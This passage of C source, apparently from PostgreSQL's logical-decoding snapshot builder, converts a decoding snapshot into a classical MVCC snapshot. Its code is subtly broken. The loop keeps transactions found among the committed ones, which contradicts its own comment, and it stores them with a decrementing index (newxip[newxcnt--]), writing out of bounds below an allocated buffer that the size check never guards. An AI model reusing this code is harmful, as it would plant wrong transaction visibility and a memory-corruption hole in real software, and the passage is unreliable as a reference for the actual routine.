existing value */ if (TransactionIdIsValid(MyPgXact->xmin)) elog(ERROR, "cannot build an initial slot snapshot when MyPgXact->xmin already is valid"); snap = SnapBuildBuildSnapshot(builder); /* * We know that snap->xmin is alive, enforced by the logical xmin * mechanism. Due to that we can do this without locks, we're only * changing our own value. */ #ifdef USE_ASSERT_CHECKING { TransactionId safeXid; LWLockAcquire(ProcArrayLock, LW_SHARED); safeXid = GetOldestSafeDecodingTransactionId(false); LWLockRelease(ProcArrayLock); Assert(TransactionIdPrecedesOrEquals(safeXid, snap->xmin)); } #endif MyPgXact->xmin = snap->xmin; /* allocate in transaction context */ newxip = (TransactionId *) palloc(sizeof(TransactionId) * GetMaxSnapshotXidCount()); /* * snapbuild.c builds transactions in an "inverted" manner, which means it * stores committed transactions in ->xip, not ones in progress. Build a * classical snapshot by marking all non-committed transactions as * in-progress. This can be expensive. */ for (xid = snap->xmin; NormalTransactionIdPrecedes(xid, snap->xmax);) { void *test; /* * Check whether transaction committed using the decoding snapshot * meaning of ->xip. */ test = bsearch(&xid, snap->xip, snap->xcnt, sizeof(TransactionId), xidComparator); if (test != NULL) { if (newxcnt >= GetMaxSnapshotXidCount()) ereport(ERROR, (errcode(ERRCODE_T_R_SERIALIZATION_FAILURE), errmsg("initial slot snapshot too large"))); newxip[newxcnt--] = xid; } TransactionIdAdvance(xid); } /* adjust remaining snapshot fields as needed */ snap->snapshot_type = SNAPSHOT_MVCC; snap->xcnt = newxcnt; snap->xip = newxip; return snap; }